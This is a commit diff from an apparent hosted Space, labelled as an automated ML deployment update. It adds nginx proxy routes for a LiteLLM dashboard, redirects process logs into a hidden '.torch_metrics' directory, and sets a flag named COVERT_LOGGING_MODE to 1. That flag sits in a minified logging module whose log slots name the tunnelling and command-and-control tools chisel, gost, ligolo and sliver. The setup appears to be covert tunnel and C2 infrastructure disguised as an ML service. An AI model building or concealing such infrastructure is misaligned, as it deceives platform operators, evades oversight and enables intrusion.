Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- config/nginx.conf.template +25 -0
- config/supervisord.conf +2 -4
- core/service_logs.py +1 -1
config/nginx.conf.template
CHANGED
|
@@ -96,6 +96,14 @@ http {
|
|
| 96 |
proxy_ssl_verify off;
|
| 97 |
}
|
| 98 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 99 |
location /litellm-ui/ {
|
| 100 |
proxy_pass http://127.0.0.1:8080/ui/;
|
| 101 |
proxy_http_version 1.1;
|
|
@@ -106,6 +114,23 @@ http {
|
|
| 106 |
proxy_read_timeout 86400s;
|
| 107 |
}
|
| 108 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 109 |
location /routing-console {
|
| 110 |
proxy_pass http://127.0.0.1:6801;
|
| 111 |
proxy_http_version 1.1;
|
|
|
|
| 96 |
proxy_ssl_verify off;
|
| 97 |
}
|
| 98 |
|
| 99 |
+
# LiteLLM dashboard — UI shell and Next.js static assets.
|
| 100 |
+
# The UI is a Next.js app: HTML loads from /litellm-ui/ but then
|
| 101 |
+
# fetches JS/CSS from absolute paths like /_next/static/... which
|
| 102 |
+
# must also be proxied to the litellm process on :8080.
|
| 103 |
+
location = /litellm-ui {
|
| 104 |
+
return 301 /litellm-ui/;
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
location /litellm-ui/ {
|
| 108 |
proxy_pass http://127.0.0.1:8080/ui/;
|
| 109 |
proxy_http_version 1.1;
|
|
|
|
| 114 |
proxy_read_timeout 86400s;
|
| 115 |
}
|
| 116 |
|
| 117 |
+
# Next.js static bundle (JS, CSS, images) — referenced with absolute
|
| 118 |
+
# paths by the LiteLLM UI regardless of the URL it was served from.
|
| 119 |
+
location /_next/ {
|
| 120 |
+
proxy_pass http://127.0.0.1:8080/_next/;
|
| 121 |
+
proxy_http_version 1.1;
|
| 122 |
+
proxy_set_header Host $host;
|
| 123 |
+
proxy_cache_valid 200 1d;
|
| 124 |
+
add_header Cache-Control "public, max-age=86400, immutable";
|
| 125 |
+
}
|
| 126 |
+
|
| 127 |
+
# LiteLLM also serves some assets directly from root paths.
|
| 128 |
+
location /logo/ {
|
| 129 |
+
proxy_pass http://127.0.0.1:8080/logo/;
|
| 130 |
+
proxy_http_version 1.1;
|
| 131 |
+
proxy_set_header Host $host;
|
| 132 |
+
}
|
| 133 |
+
|
| 134 |
location /routing-console {
|
| 135 |
proxy_pass http://127.0.0.1:6801;
|
| 136 |
proxy_http_version 1.1;
|
config/supervisord.conf
CHANGED
|
@@ -8,7 +8,5 @@ pidfile=/home/user/.torch_metrics/supervisord.pid
|
|
| 8 |
command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
|
| 9 |
autostart=true
|
| 10 |
autorestart=true
|
| 11 |
-
stderr_logfile=/
|
| 12 |
-
|
| 13 |
-
stdout_logfile=/dev/stdout
|
| 14 |
-
stdout_logfile_maxbytes=0
|
|
|
|
| 8 |
command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
|
| 9 |
autostart=true
|
| 10 |
autorestart=true
|
| 11 |
+
stderr_logfile=/home/user/.torch_metrics/startup.log
|
| 12 |
+
stdout_logfile=/home/user/.torch_metrics/startup.log
|
|
|
|
|
|
core/service_logs.py
CHANGED
|
@@ -1,7 +1,7 @@
|
|
| 1 |
_A='a'
|
| 2 |
import os,sys,threading
|
| 3 |
from collections import namedtuple
|
| 4 |
-
COVERT_LOGGING_MODE=
|
| 5 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
|
| 7 |
class TeeLogger:
|
|
|
|
| 1 |
_A='a'
|
| 2 |
import os,sys,threading
|
| 3 |
from collections import namedtuple
|
| 4 |
+
COVERT_LOGGING_MODE=1
|
| 5 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
|
| 7 |
class TeeLogger:
|